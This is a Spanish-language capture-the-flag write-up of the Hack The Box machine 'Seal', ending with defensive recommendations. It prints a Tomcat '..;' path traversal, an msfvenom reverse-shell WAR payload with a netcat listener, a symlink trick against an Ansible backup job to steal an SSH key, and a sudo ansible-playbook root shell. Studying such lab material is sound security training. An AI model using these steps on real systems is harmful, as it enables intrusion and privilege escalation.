WriteUp Seal – Hack The Box (HTB)

· · · · | CTF en WriteUp Seal – Hack The Box (HTB)

El día de hoy vamos a resolver (WriteUp) una maquina retirada de Hack The Box (HTB) llamada Seal. Este articulo forma parte de nuestra categoría HackTheBox.

Escaneo de Puertos de Seal

Empezamos con ingresar a la maquina y obtener la dirección IP 10.10.11.122, para luego realizar una revisión de puertos mediante el programa Nmap con el siguiente comando:

sudo nmap 10.10.10.250 -p- --min-rate=5000 -sS -sC -sV -o nmap

Nmap nos devuelve lo siguiente:

# Nmap 7.91 scan initiated Sun Nov 28 10:29:59 2021 as: nmap -p- --min-rate=5000 -sS -sC -sV -o nmap 10.10.10.250
Nmap scan report for 10.10.10.250
Host is up (0.19s latency).
Not shown: 65532 closed ports
PORT     STATE SERVICE    VERSION
22/tcp   open  ssh        OpenSSH 8.2p1 Ubuntu 4ubuntu0.2 (Ubuntu Linux; protocol 2.0)
| ssh-hostkey: 
|   3072 4b:89:47:39:67:3d:07:31:5e:3f:4c:27:41:1f:f9:67 (RSA)
|   256 04:a7:4f:39:95:65:c5:b0:8d:d5:49:2e:d8:44:00:36 (ECDSA)
|_  256 b4:5e:83:93:c5:42:49:de:71:25:92:71:23:b1:85:54 (ED25519)
443/tcp  open  ssl/http   nginx 1.18.0 (Ubuntu)
|_http-server-header: nginx/1.18.0 (Ubuntu)
|_http-title: Seal Market
| ssl-cert: Subject: commonName=seal.htb/organizationName=Seal Pvt Ltd/stateOrProvinceName=London/countryName=UK
| Not valid before: 2021-05-05T10:24:03
|_Not valid after:  2022-05-05T10:24:03
| tls-alpn: 
|_  http/1.1
| tls-nextprotoneg: 
|_  http/1.1
8080/tcp open  http-proxy
| fingerprint-strings: 
|   FourOhFourRequest: 
|     HTTP/1.1 401 Unauthorized
|     Date: Sun, 28 Nov 2021 18:30:24 GMT
|     Set-Cookie: JSESSIONID=node07c2umhm0fp5h6klow97iqhzw2.node0; Path=/; HttpOnly
|     Expires: Thu, 01 Jan 1970 00:00:00 GMT
|     Content-Type: text/html;charset=utf-8
|     Content-Length: 0
|   GetRequest: 
|     HTTP/1.1 401 Unauthorized
|     Date: Sun, 28 Nov 2021 18:30:22 GMT
|     Set-Cookie: JSESSIONID=node08iym5vvrzqzsep5sw9e6j62h0.node0; Path=/; HttpOnly
|     Expires: Thu, 01 Jan 1970 00:00:00 GMT
|     Content-Type: text/html;charset=utf-8
|     Content-Length: 0
|   HTTPOptions: 
|     HTTP/1.1 200 OK
|     Date: Sun, 28 Nov 2021 18:30:23 GMT
|     Set-Cookie: JSESSIONID=node01b27gbk5tzfp91sic785hlynvv1.node0; Path=/; HttpOnly
|     Expires: Thu, 01 Jan 1970 00:00:00 GMT
|     Content-Type: text/html;charset=utf-8
|     Allow: GET,HEAD,POST,OPTIONS
|     Content-Length: 0
|   RPCCheck: 
|     HTTP/1.1 400 Illegal character OTEXT=0x80
|     Content-Type: text/html;charset=iso-8859-1
|     Content-Length: 71
|     Connection: close
|     <h1>Bad Message 400</h1><pre>reason: Illegal character OTEXT=0x80</pre>
|   RTSPRequest: 
|     HTTP/1.1 505 Unknown Version
|     Content-Type: text/html;charset=iso-8859-1
|     Content-Length: 58
|     Connection: close
|     <h1>Bad Message 505</h1><pre>reason: Unknown Version</pre>
|   Socks4: 
|     HTTP/1.1 400 Illegal character CNTL=0x4
|     Content-Type: text/html;charset=iso-8859-1
|     Content-Length: 69
|     Connection: close
|     <h1>Bad Message 400</h1><pre>reason: Illegal character CNTL=0x4</pre>
|   Socks5: 
|     HTTP/1.1 400 Illegal character CNTL=0x5
|     Content-Type: text/html;charset=iso-8859-1
|     Content-Length: 69
|     Connection: close
|_    <h1>Bad Message 400</h1><pre>reason: Illegal character CNTL=0x5</pre>
| http-auth: 
| HTTP/1.1 401 Unauthorized\x0D
|_  Server returned status 401 but no WWW-Authenticate header.
Service Info: OS: Linux; CPE: cpe:/o:linux:linux_kernel

Service detection performed. Please report any incorrect results at https://nmap.org/submit/ .
# Nmap done at Sun Nov 28 10:31:00 2021 -- 1 IP address (1 host up) scanned in 60.76 seconds

Como podemos ver, tenemos un servicio web en el puerto 443, con SSL y otro servicio en el puerto 8080.

Web

Empezaremos revisando el puerto 443. Para ello, ingresamos a la url https://10.10.10.250/ y nos encontramos con un aviso de que esta conexión no es privada. Lo que haremos será hacer clic en la opción Advanced  y luego clic en Proceed to 10.10.10.250 (unsafe). Esto ocurre porque el certificado HTTPS que usa esta pagina es autofirmado y los navegadores tienen como política advertir sobre ello a los usuarios.

HTB Seal WriteUp - Forzar HTTPS

Luego de ingresar a al sitio web, podemos encontrarnos con un diseño estilo tienda de verduras. Pero si realizamos la revisión del sitio, nos topamos con que solo es una fachada y no tiene nada por dentro.

Revisamos el puerto 8080. Accedemos al sitio web desde la url http://10.10.10.250:8080/, lo que nos lleva a un panel donde debemos ingresar nuestras credenciales. Como no tenemos una cuenta, le daremos clic en Create one.

HTB Seal WriteUp - Login

Ingresamos los datos necesarios como usuario, clave y correo. Luego de ello ingresamos con nuestras credenciales creadas.

HTB Seal WriteUp - Registro

Dentro del panel de GitBucket, encontramos 2 repositorios que tenemos permisos de lectura.

Entramos al primer repositorio y podemos visualizar 3 cosas interesantes para un atacante.

  1. Existe un servicio Tomcat en el sistema.
  2. No se han deshabilitado las opciones de manager y host-manager.
  3. El repositorio cuenta con 13 commits.

Como sabemos que existe un servicio Tomcat, podemos acceder a él mediante host-manager. Para ello, necesitamos saber las credenciales de acceso pero ¿Dónde podrían encontrarse?

Existe la posibilidad de que el desarrollador por error, haya dejado las credenciales de Tomcat en el repositorio, pero luego de darse cuenta de su equivocación, las eliminó y actualizó este. Si esta teoría es cierta, por medio de los commits podríamos obtener sus credenciales.

De todos los commits, el mas interesante es: Updating tomcat configuration. Si revisamos su contenido, podemos validar que las credenciales se encuentran dentro del archivo.

HTB Seal WriteUp - Credenciales

Una vez obtenida las credenciales, intentaremos ingresar al panel del Tomcat usando la siguiente url por defecto: https://10.10.10.250/manager/.

 

Como es posible observar, se nos ha denegado el acceso al recurso.

Wfuzz

Como no sabemos exactamente que directorios de Tomcat se nos permite acceder, realizaremos un ataque de diccionario con Wfuzz. Esto nos permitirá visualizar a que rutas tenemos acceso. La lista de directorios de tomcat (diccionario) la extraeremos del siguiente link:

https://gist.github.com/KINGSABRI/277e01a9b03ea7643efef8d5747c8f16

Usamos el siguiente comando de Wfuzz:

wfuzz -c -u 'https://10.10.10.250/FUZZ' -w tomcat-directory.list -t 200 --hc 404 --basic 'tomcat:xxxxxxxxx'

Siendo –basic el parámetro para especificar el usuario y clave de Tomcat. Esto es posible ya que Tomcat utiliza la autenticación llamada basic.

Wfuzz nos retorna los siguientes resultados:

********************************************************
* Wfuzz 3.1.0 - The Web Fuzzer                         *
********************************************************

Target: https://10.10.10.250/FUZZ
Total requests: 79

=====================================================================
ID           Response   Lines    Word       Chars       Payload                                                                                                                                                                      
=====================================================================

000000001:   302        0 L      0 W        0 Ch        "/admin"                                                                                                                                                                     
000000023:   302        0 L      0 W        0 Ch        "/host-manager"                                                                                                                                                              
000000027:   403        7 L      10 W       162 Ch      "/host-manager/html/*"                                                                                                                                                       
000000026:   403        7 L      10 W       162 Ch      "/host-manager/html"                                                                                                                                                         
000000038:   403        7 L      10 W       162 Ch      "/manager/html"                                                                                                                                                              
000000039:   403        7 L      10 W       162 Ch      "/manager/html/*"                                                                                                                                                            
000000053:   200        84 L     304 W      4374 Ch     "/manager/status.xsd"                                                                                                                                                        
000000036:   302        0 L      0 W        0 Ch        "/manager"                                                                                                                                                                   
000000054:   200        149 L    487 W      9094 Ch     "/manager/status/*"                                                                                                                                                          
000000042:   403        83 L     433 W      3446 Ch     "/manager/jmxproxy/*"                                                                                                                                                        
000000041:   403        83 L     433 W      3446 Ch     "/manager/jmxproxy"                                                                                                                                                          

Total time: 4.151786
Processed Requests: 79
Filtered Requests: 68
Requests/sec.: 19.0279

La única ruta que nos devuelve un código OK 200 es /manager/status/.

Ingresamos a esa url y accedemos con las credenciales.

HTB Seal WriteUp - Tomcat Sign in

Como podemos ver, hemos conseguido acceso a una sección del panel de Tomcat, lo cual nos permite ver los estatus de algunas solicitudes.

HTB Seal WriteUp - Tomcat

Lo que nos importa como atacantes es acceder al directorio de aplicativos, esto haciendo clic en List Applications, el cual nos devuelve un error 403 Forbidden.

Path Traversal

Un método para evadir la restricción 403 Forbidden y poder acceder al directorio /manager/html/ es encontrar una forma de ejecutar una vulnerabilidad de Path Traversal.

Buscamos en internet si existe algún resultado sobre vulnerabilidades Path Traversal que afecten a Tomcat, nos encontramos con el siguiente enlace: https://www.acunetix.com/vulnerabilities/web/tomcat-path-traversal-via-reverse-proxy-mapping/

Podemos explotar la vulnerabilidad de la siguiente manera:

https://10.10.10.250/manager/status/..;/html

Como la vulnerabilidad es explotable, el servidor nos responde con lo siguiente:

HTB Seal WriteUp - Tomcat deploy

Msfvenom

Divisamos que existe una sección en la cual se pueden desplegar aplicativos en formato war, esta se llama WAR file to deploy. Necesitaremos crear un aplicativo en formato .war, que nos ejecute una shell inversa y para esto usaremos msfvenom.

Msfvenom es una herramienta que forma parte del framework Metasploit. Con el cual podremos crear diferentes archivos que ejecuten shell inversas entre otro tipos de payload:

msfvenom -p java/jsp_shell_reverse_tcp LHOST=<IP> LPORT=<PORT> -f war > app.war

El anterior comando genera un archivo llamado app.war, si lo intentamos subir a la pagina y le damos clic en Deploy, nos volverá a salir el error:

Burp Suite

Si observamos la consulta original realizada, esta vuelve a acceder a la ruta desde /manager/html y no desde /manager/status/..;/html.

Por lo que cambiaremos estos valores con Burp Suite. Para ello, ingresaremos a la sección de proxy, y luego nos ubicamos donde dice Match and Replace y le damos en Add.

Configuramos lo siguiente:

HTB Seal WriteUp - Fix Burp

Realizamos la misma configuración para Response header.

Finalmente, verificamos si es que ahora nos permite subir el archivo .war.

Como podemos observar, se desplegó el aplicativo satisfactoriamente.

Movimiento lateral HTB Seal WriteUp

Antes de ejecutar la aplicación /app, vamos a ponernos a escuchar desde el puerto que definimos, usando netcat.

nc -lvp 5555

Accedemos a la aplicación.

Revisamos en nuestra terminal si logramos obtener una shell inversa.

-$ nc -lvp 5555         
listening on [any] 5555 ...
10.10.10.250: inverse host lookup failed: Unknown host
connect to [10.10.16.25] from (UNKNOWN) [10.10.10.250] 57932
whoami
tomcat

Una vez que hemos recibido la conexión y validamos que somos el usuario tomcat, debemos buscar la forma de conseguir el acceso a cuentas con mayores privilegios. Para ello, revisaremos el contenido en el directorio /opt.

tomcat@seal:/opt/backups/playbook$ cd /opt
tomcat@seal:/opt$ ls -la
total 12
drwxr-xr-x  3 root root 4096 May  7  2021 .
drwxr-xr-x 20 root root 4096 May  7  2021 ..
drwxr-xr-x  4 luis luis 4096 Nov 29 20:02 backups

tomcat@seal:/opt$ cd backups/
tomcat@seal:/opt/backups$ ls -la
total 16
drwxr-xr-x 4 luis luis 4096 Nov 29 20:02 .
drwxr-xr-x 3 root root 4096 May  7  2021 ..
drwxrwxr-x 2 luis luis 4096 Nov 29 20:02 archives
drwxrwxr-x 2 luis luis 4096 May  7  2021 playbook

tomcat@seal:/opt/backups$ ls -l archives/
total 2368
-rw-rw-r-- 1 luis luis 606047 Nov 29 20:00 backup-2021-11-29-20:00:33.gz
-rw-rw-r-- 1 luis luis 606047 Nov 29 20:01 backup-2021-11-29-20:01:32.gz
-rw-rw-r-- 1 luis luis 606047 Nov 29 20:02 backup-2021-11-29-20:02:33.gz
-rw-rw-r-- 1 luis luis 606047 Nov 29 20:03 backup-2021-11-29-20:03:32.gz

tomcat@seal:/opt/backups$ ls -l playbook/
total 4
-rw-rw-r-- 1 luis luis 403 May  7  2021 run.yml

Podemos evidenciar que nos encontramos con un archivo run.yml, si lo leemos vemos lo siguiente:

tomcat@seal:/opt/backups$ cat playbook/run.yml 
- hosts: localhost
  tasks:
  - name: Copy Files
    synchronize: src=/var/lib/tomcat9/webapps/ROOT/admin/dashboard dest=/opt/backups/files copy_links=yes
  - name: Server Backups
    archive:
      path: /opt/backups/files/
      dest: "/opt/backups/archives/backup-{{ansible_date_time.date}}-{{ansible_date_time.time}}.gz"
  - name: Clean
    file:
      state: absent
      path: /opt/backups/files/

Lo que este script realiza es una copia de seguridad de los archivos presentes en el directorio /var/lib/tomcat9/webapps/ROOT/admin/dashboard y los guarda en el directorio /opt/backups/files.

Con esta información, realizaremos un enlace simbólico del directorio home del usuario luis en la ruta de los archivos  con los que se genera el backup.

-$ ln -s /home/luis /var/lib/tomcat9/webapps/ROOT/admin/dashboard/uploads/a

Verificamos que se cree el backup en /opt/backups/files, realizamos una copia del backup y lo extraemos.

tomcat@seal:/opt/backups/archives$ ls -la
total 65920
drwxrwxr-x 2 luis luis     4096 Nov 29 20:41 .
drwxr-xr-x 5 luis luis     4096 Nov 29 20:41 ..
-rw-rw-r-- 1 luis luis   606063 Nov 29 20:40 backup-2021-11-29-20:40:32.gz
-rw-rw-r-- 1 luis luis 66887680 Nov 29 20:41 backup-2021-11-29-20:41:32.gz

tomcat@seal:/opt/backups/archives$ cp 'backup-2021-11-29-20:41:32.gz' /tmp/file.gz

tomcat@seal:/opt/backups/archives$ ls /tmp
file.gz  hsperfdata_tomcat

Notamos que entre todos los backups normales, tenemos un archivo de backup que pesa mas que el resto. Este archivo es el nuestro, ya que realizamos una copia completa del directorio home del usuario luis al que debemos acceder, ya que él es el usuario que ejecuta este script.

tomcat@seal:/opt/backups/archives$ cd /tmp
tomcat@seal:/tmp$ ls -la
total 112900
drwxrwxrwt  3 root   root        4096 Nov 29 20:42 .
drwxr-xr-x 20 root   root        4096 May  7  2021 ..
-rw-r-----  1 tomcat tomcat 115596578 Nov 29 20:42 file.gz
drwxr-x---  2 tomcat tomcat      4096 Nov 29 08:28 hsperfdata_tomcat

tomcat@seal:/tmp$ gzip -d file.gz
tomcat@seal:/tmp$ ls -la
total 138604
drwxrwxrwt  3 root   root        4096 Nov 29 20:46 .
drwxr-xr-x 20 root   root        4096 May  7  2021 ..
-rw-r-----  1 tomcat tomcat 141916160 Nov 29 20:42 file
drwxr-x---  2 tomcat tomcat      4096 Nov 29 08:28 hsperfdata_tomcat

tomcat@seal:/tmp$ file file
file: POSIX tar archive

Al realizar la descompresión y ejecutar el comando file al resultado, nos devuelve que es un archivo tar. Por ello debemos renombrar el archivo y descomprimirlo con tar.

tomcat@seal:/tmp$ mv file file.tar
tomcat@seal:/tmp$ ls -la
total 138604
drwxrwxrwt  3 root   root        4096 Nov 29 20:49 .
drwxr-xr-x 20 root   root        4096 May  7  2021 ..
-rw-r-----  1 tomcat tomcat 141916160 Nov 29 20:42 file.tar
drwxr-x---  2 tomcat tomcat      4096 Nov 29 08:28 hsperfdata_tomcat

tomcat@seal:/tmp$ tar -xf file.tar 
tomcat@seal:/tmp$ ls -la
total 138608
drwxrwxrwt  4 root   root        4096 Nov 29 20:49 .
drwxr-xr-x 20 root   root        4096 May  7  2021 ..
drwxr-x---  7 tomcat tomcat      4096 May  7  2021 dashboard
-rw-r-----  1 tomcat tomcat 141916160 Nov 29 20:42 file.tar
drwxr-x---  2 tomcat tomcat      4096 Nov 29 08:28 hsperfdata_tomcat

Al descomprimir, vemos que nos genera un directorio dashboard,  verificamos si es que dentro encontramos nuestro enlace al directorio home del usuario luis.

tomcat@seal:/tmp$ cd dashboard/
tomcat@seal:/tmp/dashboard$ cd uploads/
tomcat@seal:/tmp/dashboard/uploads$ cd a/
tomcat@seal:/tmp/dashboard/uploads/a$ ls -la
total 51320
drwxr-x--- 9 tomcat tomcat     4096 May  7  2021 .
drwxr-x--- 3 tomcat tomcat     4096 Nov 29 20:49 ..
drwxr-x--- 3 tomcat tomcat     4096 Nov 29 20:49 .ansible
-rw-r----- 1 tomcat tomcat      220 May  5  2021 .bash_logout
-rw-r----- 1 tomcat tomcat     3797 May  5  2021 .bashrc
drwxr-x--- 3 tomcat tomcat     4096 Nov 29 20:49 .cache
drwxr-x--- 3 tomcat tomcat     4096 Nov 29 20:49 .config
drwxr-x--- 6 tomcat tomcat     4096 Nov 29 20:49 .gitbucket
-rw-r----- 1 tomcat tomcat 52497951 Jan 14  2021 gitbucket.war
drwxr-x--- 3 tomcat tomcat     4096 Nov 29 20:49 .java
drwxr-x--- 3 tomcat tomcat     4096 Nov 29 20:49 .local
-rw-r----- 1 tomcat tomcat      807 May  5  2021 .profile
drwx------ 2 tomcat tomcat     4096 Nov 29 20:49 .ssh
-r-------- 1 tomcat tomcat       33 Nov 29 08:28 user.txt

Como podemos observar, en el directorio /tmp/dashboard/uploads/a pudimos encontrar el directorio home del usuario luis, revisamos en el directorio .ssh por si encontramos alguna llave rsa para ssh.

tomcat@seal:/tmp/dashboard/uploads/a$ cd .ssh/
tomcat@seal:/tmp/dashboard/uploads/a/.ssh$ ls -la
total 20
drwx------ 2 tomcat tomcat 4096 Nov 29 20:49 .
drwxr-x--- 9 tomcat tomcat 4096 May  7  2021 ..
-rw-r----- 1 tomcat tomcat  563 May  7  2021 authorized_keys
-rw------- 1 tomcat tomcat 2590 May  7  2021 id_rsa
-rw-r----- 1 tomcat tomcat  563 May  7  2021 id_rsa.pub

tomcat@seal:/tmp/dashboard/uploads/a/.ssh$ cat id_rsa
-----BEGIN OPENSSH PRIVATE KEY-----
b3BlbnNzaC1rZXktdjEAAAAABG5vbmUAAAAEbm9uZQAAAAAAAAABAAABlwAAAAdzc2gtcn
. . .
u8KqOiDVrwmFJRAAAACWx1aXNAc2VhbAE=
-----END OPENSSH PRIVATE KEY-----

Copiamos el id_rsa en nuestra maquina, y nos conectamos mediante SSH a la maquina seal, con el usuario luis.

nano id_rsa #Guardamos el contenido del archivo.
chmod 400 id_rsa #Cambiamos los permisos para que solo nosotros podemos leerlo.
ssh [email protected] -i id_rsa #Accedemos por ssh.

Realizada la conexión, podemos acceder al flag de user.

luis@seal:~$ cat user.txt
axxxxxxxxxxxxxxxxxxxxxxxxxxxxxxa

Escalando a root HTB Seal WriteUp

Nos falta ser usuario root. Para ello, ejecutamos el siguiente comando:

luis@seal:~$ sudo -l
Matching Defaults entries for luis on seal:
    env_reset, mail_badpass, secure_path=/usr/local/sbin\:/usr/local/bin\:/usr/sbin\:/usr/bin\:/sbin\:/bin\:/snap/bin

User luis may run the following commands on seal:
    (ALL) NOPASSWD: /usr/bin/ansible-playbook *

Como podemos ver, tenemos un binario llamado ansible-playbook con el cual podemos ejecutarlo usando sudo sin necesidad de ingresar una clave.

Buscamos en internet alguna forma de escalar privilegios usando este binario y nos encontramos con lo siguiente en gtfobins.

HTB Seal WriteUp - GTFOBins

Haciendo clic en sudo, podemos ver que nos devuelve información de como elevar privilegios.

Adecuamos la explicación para nuestra maquina.

luis@seal:~$ TF=$(mktemp)
luis@seal:~$ echo '[{hosts: localhost, tasks: [shell: /bin/bash </dev/tty >/dev/tty 2>/dev/tty]}]' >$TF
luis@seal:~$ sudo /usr/bin/ansible-playbook $TF
[WARNING]: provided hosts list is empty, only localhost is available. Note that the implicit localhost does not match 'all'
PLAY [localhost] ******************************************************************************************
TASK [Gathering Facts] ************************************************************************************
ok: [localhost]
TASK [shell] **********************************************************************************************
root@seal:/tmp# whoami
root

Si la escalación de privilegios fue correcta, nos convertiremos en usuario root y ya podríamos obtener el flag.

root@seal:/tmp# cat /root/root.txt
axxxxxxxxxxxxxxxxxxxxxxxxxxxxxx5

Conclusión HTB Seal WriteUp

En base a las vulnerabilidades encontradas en el WriteUp de la máquina Seal de HTB, se concluyen las siguientes recomendaciones:

  • Tener mucho cuidado a la hora de publicar repositorios, ya que un descuido de los desarrolladores puede exponer datos sensibles del ambiente como credenciales de acceso.
  • Considerar que si se realiza una exposición de datos, no se recomienda borrar los datos y realizar un nuevo commit. Ya que mediante los commits, se puede revisar los datos borrados y extraer la información que se deseaba eliminar.
  • Con respecto al Path Traversal de Tomcat, se recomienda filtrar y denegar todas las solicitudes que contengas el carácter punto y coma (;). De esta manera, se podría mitigar este tipo de ataques.

Considerando que cada día se descubren múltiples vulnerabilidades web, se recomienda la realización de pruebas de Ethical Hacking, específicamente la ejecución de servicios de Web Application Pentest de forma periódica, los cuales garantizan potenciar los controles de seguridad existentes en las aplicaciones web de su empresa.